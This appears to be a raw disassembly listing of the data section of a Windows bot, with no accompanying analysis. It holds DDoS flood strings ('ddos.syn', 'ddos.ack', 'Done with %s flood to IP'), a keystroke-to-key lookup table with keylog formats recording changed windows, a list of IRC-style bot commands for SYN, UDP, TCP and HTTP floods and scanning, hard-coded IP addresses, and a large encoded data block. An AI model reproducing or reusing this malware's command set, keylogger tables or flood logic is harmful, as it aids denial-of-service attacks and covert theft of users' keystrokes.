dword_41DE50 dd 19930520h, 2, 41DE70h, 5 dup(0) dd 0FFFFFFFFh, 41CB1Ch, 0
dd offset sub_41CB14
dword_41DE80 dd 19930520h, 2, 41DEA0h, 5 dup(0) dd 0FFFFFFFFh, 41CB40h, 0
; ---------------------------------------------------------------------------
dec eax
retf
; ---------------------------------------------------------------------------
dw 41h
dword_41DEB0 dd 19930520h, 2, 41DED0h, 1, 41DEE0h, 3 dup(0)
; DATA XREF: .nsp0:loc_41CB5Co
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 41DEF8h, 4 dup(0)
dd offset loc_4037E1
dd 0
dd offset off_432240
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 41CA3Bh, 2 dup(0)
dd offset off_432258
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41C7C1h, 2 dup(0)
dd offset off_432278
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41C894h, 0
dword_41DF68 dd 3, 41DF48h, 41DF28h, 41DF08hdword_41DF78 dd 0 ; sub_41C85B+12o
dd offset sub_41C81E
dd 0
dd offset dword_41DF68
dword_41DF88 dd 19930520h, 1, 41DFA8h, 5 dup(0) dd 0FFFFFFFFh, 41CB68h
dword_41DFB0 dd 19930520h, 1, 41DFD0h, 5 dup(0)dword_41DFD0 dd 0FFFFFFFFh, 41CB7Ch, 2, 41DF28h, 41DF08h, 0dword_41DFE8 dd 0 dd offset sub_41C768
dd 0
dd offset dword_41DFD0+8
dword_41DFF8 dd 19930520h, 1, 41E018h, 5 dup(0) dd 0FFFFFFFFh, 41CB90h
dword_41E020 dd 19930520h, 1, 41E040h, 5 dup(0) dd 0FFFFFFFFh, 41CBA4h
dword_41E048 dd 19930520h, 1, 41E068h, 5 dup(0) dd 0FFFFFFFFh, 41CBB8h, 0
dd offset off_432298
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41C97Ch, 0
dword_41E090 dd 3, 41E070h, 41DF28h, 41DF08hdword_41E0A0 dd 0 ; sub_41C943+12o
dd offset sub_41C906
dd 0
dd offset dword_41E090
dword_41E0B0 dd 19930520h, 1, 41E0D0h, 5 dup(0) dd 0FFFFFFFFh, 41CBCCh
dword_41E0D8 dd 19930520h, 1, 41E0F8h, 5 dup(0) dd 0FFFFFFFFh, 41CBE0h, 1E2E4h, 2 dup(0)
dd 1E328h, 1D1A8h, 1E13Ch, 2 dup(0)
dd 1EAA0h, 1D000h, 5 dup(0)
dd 548FF43Eh, 0FEAB4E08h, 66EDBF77h, 0EE6033Ah, 951B87B7h
dd 6D917141h, 5135E09Bh, 2E430679h, 0ACC2095Ch, 592E00C8h
dd 5E0FC609h, 0D3373CFAh, 4356C22Ah, 0F9191Dh, 8E2F0470h
dd 0D620773Eh, 0F5F78BAh, 0A73C0CF8h, 0CCEAB145h, 0D2D05C38h
dd 0E5339085h, 7B0303C6h, 0C12DF8DCh, 5B7131F9h, 82162AF3h
dd 95E816E7h, 7123CA3Fh, 0F716399Eh, 5115708Dh, 299F7840h
dd 7345509Ah, 0E8E148ABh, 0EB3318E8h, 5CADC41Bh, 0C19038C2h
dd 52E0DC9Eh, 176D9ABCh, 0BDC63D29h, 5F00806Eh, 0FD9A8FE3h
dd 67BFA40Eh, 3D7DCDFCh, 5FAB5E27h, 8DF641F0h, 77988F77h
dd 0BB723190h, 0D9A6849Ah, 0BC50F8CCh, 0D92EC35Eh, 4223065Ch
dd 93F13B3Bh, 3B98FAF7h, 0B1AFC769h, 3EBD5086h, 49F3323Fh
dd 50CCDFF6h, 0D193EE69h, 2481A8B0h, 9061103Eh, 88789E96h
dd 0D8D01743h, 0CBAC2680h, 4505F512h, 837FE471h, 0E28F9051h
dd 16D301A8h, 0B5CCB85Bh, 28C59E04h, 90687CFh, 0B75D27EFh
dd 0BA99DA8Dh, 0EE8E1DC5h, 0F8F484E0h, 42490003h, 0C6D22EF2h
dd 0C669E758h, 80E5D10Fh, 0FC59189Ah, 4509C24Dh, 0A2A6DC6Ah
dd 4395210Eh, 507079h, 6DDB8FEBh, 664B6F7Eh, 726FACBEh
dd 0D966B751h, 47D593FEh, 88CD2998h, 91F1F9A0h, 477F4551h
dd 5B53AE71h, 224F5809h, 0D98DC338h, 1194094h, 94A84ADh
dd 98216963h, 643A7726h, 0DC05EAA2h, 0EA444DACh, 0E5D405EDh
dd 1E93B8EAh, 94A03Ch, 0C102CCC9h, 10E1386h, 8703972h
dd 0
dd 4D8B2E54h, 874C6Ch, 0BF1D92D9h, 4560BB50h, 0D539110Eh
dd 0BFEB983Fh, 87F7F17Dh, 3967E6AAh, 7DDAE692h, 48EAFD0Fh
dd 5DB00897h, 0F98A227Dh, 56769B40h, 0D386F6AFh, 0C58ABCDh
dd 1A91C0AFh, 0
dd 0BE38ABFBh, 245398E6h, 0F580h, 1157007Eh, 0C4B14651h
dd 1BA3CF32h, 16D0000h, 0A8B9A277h, 271279C7h, 0F08680CFh
dd 2060000h, 15D601BFh, 0A0C57F66h, 2A81BD3Dh, 0D92620C3h
dd 876298AEh, 0BED5FCh, 2B0B0207h, 0C2B5767Fh, 0AC0F9400h
dd 52ABECEDh, 0FAE4h, 7DBD7F8h, 0BD7613h, 375C0159h, 0B467ADF9h
dd 9DB78E4Fh, 7B2A2D17h, 4A002FC1h, 11B00B2h, 0ADC06E39h
dd 0EA166F1Fh, 6F89A416h, 2960000h, 493B231Fh, 1240051h
dd 0BA6FF927h, 66E70FB5h, 0DC422EBCh, 934080BCh, 921Eh
dd 0B8D0016Eh, 841FD8F1h, 0BEECA219h, 7EA519B3h, 0FB0000h
dd 5217778Ch, 595DD7B5h, 0DFE357C1h, 0F26Ah, 9FE8011Ah
dd 32597950h, 8EA9689h, 0F6EDh, 0CCCA004Ah, 822DABFAh
dd 0E52F6196h, 53EDh, 31A2001Bh, 27B8EE8Dh, 64AA57Ch, 11200B8h
dd 361AD1B0h, 49FA8283h, 728D5Fh, 0A3640034h, 0C27CD43Bh
dd 462B9FB3h, 10D0068h, 6027F4ADh, 0BDE1821h, 0FE0BFC44h
dd 88BC7C6Ch, 76A7h, 35BB0090h, 7C30C637h, 0EE125Bh, 862C008Ah
dd 4412BCA6h, 0E7169C5Ah, 0BA916A0Dh, 7CA47CEh, 0C653h
dd 0E4C20089h, 2FECFD4Bh, 0D1CC74F8h, 6DEF8BD2h, 2712BCDFh
dd 0AE13D4FEh, 9D00E7h, 741708ABh, 0BFE11482h, 7CDCC1B9h
dd 940027h, 0CFA83CC9h, 8E2F521Dh, 9C7DCD1h, 9D17h, 0A4E70218h
dd 81716668h, 0F65Fh, 73F2026Ah, 6D09756Bh, 0E6DF630Dh
dd 55D6867Fh, 1C10000h, 8F1CAFE4h, 0AD457018h, 395B7DBFh
dd 698AC4B2h, 7C873897h, 660000h, 474C722Eh, 827B546Fh
dd 9C6E67CBh, 0BF1D272Ch, 100B5FE3h, 1AB0000h, 0FDAE8E4Dh
dd 481F5742h, 0F9654ACCh, 685FE128h, 0ABDD7AD2h, 0FAFBF912h
dd 0AD96BD13h, 92D2B385h, 6ADEEFA7h, 55002Ah, 693C3E23h
dd 2164386Ah, 47458171h, 0AF971B80h, 157FCCA7h, 1C2004Bh
dd 10AB5886h, 4CBB476Ah, 0C2CA14BDh, 13E0000h, 0E92B3DF5h
dd 5B894E31h, 608E90D4h, 0D7B5h, 129C0126h, 0E49AFB69h
dd 3E784ACCh, 7792BE36h, 24DAh, 0B59700AFh, 3321D11Bh
dd 0A4F6DC45h, 0F0763599h, 1930000h, 24B4171Fh, 29C141Bh
dd 6F6EF2A3h, 18C0000h, 0A5E564FEh, 56D0E9DFh, 0FAAFh
dd 0B2F02B0h, 0D21CBF13h, 0B2EAD067h, 65F2B1FBh, 1D60041h
dd 15274B1h, 0DED65781h, 0B3196696h, 3500F3h, 0EDBED479h
dd 4AE7AA58h, 299D9DDBh, 77C42648h, 0D01Ah, 4A83026Ch
dd 7FAB8B3Eh, 33880C57h, 11400B5h, 5C896F23h, 0CB80D0Ah
dd 0DCE53Eh, 4120044h, 1F5F4865h, 2FA7EB3h, 4C6E83A4h
dd 800000h, 0A800E3C6h, 0BF8387E3h, 0DB01705Dh, 0F5F4EBCDh
dd 0E5D0B770h, 0A158448h, 2680044h, 86B297F3h, 0C3C1F857h
dd 0EFD653CCh, 556DA962h, 0D1D9h, 0CDE802DFh, 4A145711h
dd 9C03DDh, 74AD0165h, 99A7CB47h, 9385BF64h, 0D7F7h, 0BAF3010Bh
dd 0CA45993h, 7224CE64h, 6D9BF5F8h, 0F01D3D27h, 1F90000h
dd 0BEE4CF0Bh, 0E2A903BCh, 0AA857EEBh, 6300BCh, 4FD0A5DAh
dd 721E740Dh, 4FA72498h, 44572Fh, 0E4D000F7h, 0B05F7B1Ah
dd 0C09FC572h, 123FA4E3h, 0C716D5h, 0BF520043h, 0D8E346FDh
dd 969C7907h, 1750000h, 0B23A7BECh, 0D44652C0h, 60EF8B2Ch
dd 18D00BEh, 0D92B580Fh, 0F337CD95h, 5E355AB1h, 5DB0274Dh
dd 0D42Ah, 9DC2007Dh, 0B55487EBh, 0BEDFA24Ch, 570006h
dd 0BC23AC5Ah, 4276D9BFh, 0CC78F1h, 74CF01EFh, 216D8002h
dd 3CA03A3Ah, 0F800CDh, 6153A2D7h, 0C601087Fh, 0CE804F51h
dd 20411EE3h, 48A8CFh, 0E1AC0028h, 0BE54F83Bh, 7A3F60h
dd 9E3902CEh, 36B210E9h, 3E8F132Fh, 5642A7Fh, 752B001Ch
dd 3F008Eh, 0F14D357h, 0C89A8078h, 6A3A84E9h, 29F0000h
dd 11073CF0h, 0CEE237E7h, 0B57E72Eh, 0FBED19h, 99BE01DDh
dd 67D9B2Ah, 141AC5h, 0FDC902D2h, 223F16B1h, 0B8C1AC20h
dd 313C9A9h, 0B9832769h, 1E400ADh, 8517868h, 3B039AD2h
dd 9762CDBAh, 0C785B55Ch, 7E5E0h, 0DC5E00CEh, 260C0482h
dd 0D5787F30h, 74468C2Bh, 738Ch, 2323029Eh, 10F8DF0Fh
dd 8CED1BCEh, 0A1B1FD89h, 0C12Ah, 988A011Ch, 576FCABh
dd 0AFFBEDD4h, 491F4A4Fh, 1200000h, 0A700133h, 0D51DECC8h
dd 4CE84688h, 0BC6AF930h, 1990000h, 0A5DBBD22h, 9B42239Ch
dd 19F0060h, 0EE555CB4h, 4BC3D8FCh, 22F0000h, 39D10828h
dd 6A3BCDCh, 17000BCh, 0A07488AFh, 47C7112Eh, 9302AB2Eh
dd 5B7EA64Fh, 5E7316C6h, 7888h, 8E7015Dh, 15D06FD1h, 82FC10B8h
dd 191A59h, 0A75F01A2h, 0BE846901h, 57809A9Bh, 1500088h
dd 0C19B40AEh, 377D9018h, 2B233FBEh, 0FD2F8Fh, 2A5A00CAh
dd 0E003F086h, 0DD192014h, 68712576h, 174003Ch, 6B640B55h
dd 1DE628Eh, 6A3Fh, 6FD5019Dh, 57762ACAh, 0F2FD8285h, 19B00A8h
dd 0BD9D2A86h, 0A1EC6h, 0ED6Dh, 0F3F502BFh, 60C5309Bh
dd 0A028DCD6h, 2BB0000h, 8315E102h, 0FABF9B76h, 0C9E87792h
dd 1B80000h, 639BCAD0h, 0A03DE3F1h, 66F26A92h, 20B002Fh
dd 93B93EBEh, 10648473h, 35EA0273h, 0A36Ch, 9C8A01A3h
dd 52393923h, 6739h, 2D6A01BFh, 37054138h, 5811F6D2h, 94FEh
dd 817801C0h, 0E04AA24Eh, 0DEF465D7h, 63EBh, 0BCF200BFh
dd 0B169CC55h, 0DA7370h, 0DA5800B9h, 103181EBh, 1310000h
dd 52D804E8h, 973BBF7Dh, 2AD0000h, 0D8043088h, 0D7ACDA47h
dd 23E30FE1h, 0D77DBAEh, 7434B175h, 5054EC88h, 0B20000h
dd 0BC4A4D85h, 0E4DEA26Bh, 80E824CBh, 0D30C3740h, 9098DD2Ah
dd 0CA6D73h, 0E55B00B3h, 0EFC3D786h, 91EB57AFh, 253B0F62h
dd 0B8E7DFD1h, 69CF15DEh, 10600F1h, 0CC1081D7h, 12797906h
dd 51AC2943h, 0D822CFF1h, 3DFC7E2Bh, 10800F4h, 9BE0FCDh
dd 8D843E46h, 0ED2A255Eh, 92B6C7CFh, 4264350Ah, 7DA0h
dd 938A026Dh, 678898E9h, 0A42708A9h, 2792F027h, 1520000h
dd 4CB35F50h, 0FC0EF93Bh, 0ADE5F457h, 1150000h, 7BCA7382h
dd 477030EBh, 13C3E6h, 66720153h, 39A832BEh, 83B96249h
dd 0CD363376h, 1560000h, 0A2F95893h, 4B407554h, 5FCE06DFh
dd 0F331h, 2127027Ch, 56FC4616h, 82073889h, 4C67h, 830100AAh
dd 29A13015h, 381271FBh, 0B2B34800h, 0F682h, 0D44A028Bh
dd 158000EDh, 70B960A8h, 24372DF4h, 71F5A8C1h, 0DA29FC8Dh
dd 0D993AF2Fh, 1B50025h, 15834BF6h, 0B4AB1BF8h, 0EE4C1CECh
dd 1B20000h, 0EA05BBF0h, 2CE0070Eh, 0D8F2F75h, 2610000h
dd 870AAA74h, 0E1CC575h, 736AE8BBh, 210000h, 73510F1Ah
dd 0A32F452Ah, 89F83F8Fh, 99D0h, 9EBF0022h, 0EA2BC0D9h
dd 0FA31C3D0h, 0B4A953DAh, 2620000h, 0E0D96481h, 0C798A6D3h
dd 5581A8CCh, 657B7EF7h, 5613B62Ah, 0AF716h, 0EDE1811Dh
dd 0C5BB72B9h, 0A7C4A934h, 155h dup(0)
dword_41F000 dd 0 dd offset sub_40388F
dd offset sub_41C994
dword_41F00C dd 0 dword_41F010 dd 0 dd offset sub_413222
dd offset sub_418C54
dd offset sub_4199A3
dd offset sub_41A815
dword_41F024 dd 0 dword_41F028 dd 0 dd offset sub_419A48
dword_41F030 dd 0 dword_41F034 dd 0 dd offset sub_41A826
dword_41F03C dd 0 unk_41F040 db 2 ; DATA XREF: sub_401000+5Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
unk_41F07C db 2 ; DATA XREF: .nsp0:004013B4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 10h
aDdos_random db 'ddos.random',0 ; DATA XREF: .nsp0:loc_4011DEo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: .nsp0:loc_4011C2o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: .nsp0:004011A3o
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
db ').',0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
db '.',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aInvalidTargetI db 'Invalid target IP.',0
align 10h
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0
unk_41F21C db 2 ; DATA XREF: .nsp0:00401490o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0
dword_41F264 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40182E+48o
dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 10h
dword_41F2A0 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: .nsp0:00401B47o
dd 2029206Ch, 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
aRandom db 'random',0 ; DATA XREF: .nsp0:0040CA4Ao
; .nsp0:00427064o
align 10h
aAck db 'ack',0 ; DATA XREF: .nsp0:0040CA33o
aSyn db 'syn',0 ; DATA XREF: .nsp0:0040CA1Bo
dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
dword_41F3DC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: .nsp0:00401CC4o
dd 2029206Ch, 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
dword_41F428 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: .nsp0:00401C46o
dd 2029206Ch, 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 10h
dw 8
unicode 0, <>,0
aB: ; DATA XREF: sub_4021FB:loc_4022DEo
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_41FBA4 dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_41FBDC dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
; DATA XREF: sub_40211A+AEo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211A+88o
align 4
aAb db 'ab',0 ; DATA XREF: sub_40211A+4Eo
; .nsp0:0040C8F9o
align 10h
asc_41FC20: ; DATA XREF: sub_40211A+2Co
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o
align 10h
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
align 10h
off_41FC70 dd offset dword_420440 ; DATA XREF: .nsp0:0040277Ar
align 8
dd 6F64643Ah, 73h, 3 dup(0)
dword_41FC8C dd 0 dd 6163733Ah, 6F74736Eh, 70h, 3 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 6F64643Ah, 79732E73h, 6Eh, 3 dup(0)
dd 6E79733Ah, 6F6F6C66h, 64h, 3 dup(0)
dd 64752E3Ah, 70h, 4 dup(0)
dd 64752C3Ah, 70h, 4 dup(0)
dd 6475213Ah, 70h, 4 dup(0)
dd 6475403Ah, 70h, 4 dup(0)
dd 6475243Ah, 70h, 4 dup(0)
dd 6475253Ah, 70h, 4 dup(0)
dd 64755E3Ah, 70h, 4 dup(0)
dd 6475263Ah, 70h, 4 dup(0)
dd 64752A3Ah, 70h, 4 dup(0)
dd 64752D3Ah, 70h, 4 dup(0)
dd 64752B3Ah, 70h, 4 dup(0)
dd 64752F3Ah, 70h, 4 dup(0)
dd 64755C3Ah, 70h, 4 dup(0)
dd 64753D3Ah, 70h, 4 dup(0)
dd 64753F3Ah, 70h, 4 dup(0)
dd 6475273Ah, 70h, 4 dup(0)
dd 6475603Ah, 70h, 4 dup(0)
dd 64757E3Ah, 70h, 4 dup(0)
dd 7064753Ah, 6F6F6C66h, 64h, 3 dup(0)
dd 7063743Ah, 6F6F6C66h, 64h, 3 dup(0)
dd 7664613Ah, 6E616373h, 4 dup(0)
dd 73612E3Ah, 63h, 4 dup(0)
dd 73612C3Ah, 63h, 4 dup(0)
dd 7361213Ah, 63h, 4 dup(0)
dd 7361403Ah, 63h, 4 dup(0)
dd 7361243Ah, 63h, 4 dup(0)
dd 7361253Ah, 63h, 4 dup(0)
dd 73615E3Ah, 63h, 4 dup(0)
dd 7361263Ah, 63h, 4 dup(0)
dd 73612A3Ah, 63h, 4 dup(0)
dd 73612D3Ah, 63h, 4 dup(0)
dd 73612B3Ah, 63h, 4 dup(0)
dd 73612F3Ah, 63h, 4 dup(0)
dd 73615C3Ah, 63h, 4 dup(0)
dd 73613D3Ah, 63h, 4 dup(0)
dd 3631313Ah, 38353930h, 393332h, 3 dup(0)
dd 7361273Ah, 63h, 4 dup(0)
dd 7361603Ah, 63h, 4 dup(0)
dd 3631313Ah, 37353930h, 353539h, 3 dup(0)
dd 7474683Ah, 736F6470h, 4 dup(0)
dd 6D64613Ah, 632E6E69h, 6D6Fh, 3 dup(0)
dd 6261733Ah, 7265h, 4 dup(0)
dd 2E33363Ah, 2E333731h, 2E323731h, 3839h, 2 dup(0)
dd 2E39363Ah, 322E3035h, 332E3930h, 31h, 2 dup(0)
dd 2E39363Ah, 322E3035h, 332E3830h, 3 dup(0)
a203_186_79_248 db ':203.186.79.248',0
dd 2 dup(0)
dd 7063743Ah, 6B636120h, 4 dup(0)
dd 6F72403Ah, 6D6Fh, 4 dup(0)
dd 6173233Ah, 23h, 4 dup(0)
dd 736B233Ah, 2361h, 4 dup(0)
dd 7375233Ah, 62h, 4 dup(0)
dd 706F743Ah, 6369h, 4 dup(0)
dd 6F2B3Ah, 5 dup(0)
dd 712B3Ah, 5 dup(0)
dd 7274403Ah, 62h, 4 dup(0)
dd 6272743Ah, 40h, 4 dup(0)
dd 3134333Ah, 35383937h, 363130h, 3 dup(0)
dd 3630313Ah, 36343338h, 363634h, 3 dup(0)
dd 7075243Ah, 65746164h, 4 dup(0)
dd 2E37363Ah, 332E3931h, 30322E39h, 30h, 2 dup(0)
dd 2E34373Ah, 352E3435h, 2E38h, 3 dup(0)
dd 776F643Ah, 6C6Eh, 4 dup(0)
dd 4F47233Ah, 23444Fh, 4 dup(0)
dd 6F642E3Ah, 646E77h, 4 dup(0)
dd 6F642C3Ah, 646E77h, 4 dup(0)
dd 6F64213Ah, 646E77h, 4 dup(0)
dd 4353233Ah, 23504Fh, 4 dup(0)
dd 6F64243Ah, 646E77h, 4 dup(0)
dd 6F642E3Ah, 6E77h, 4 dup(0)
dd 6F642C3Ah, 6E77h, 4 dup(0)
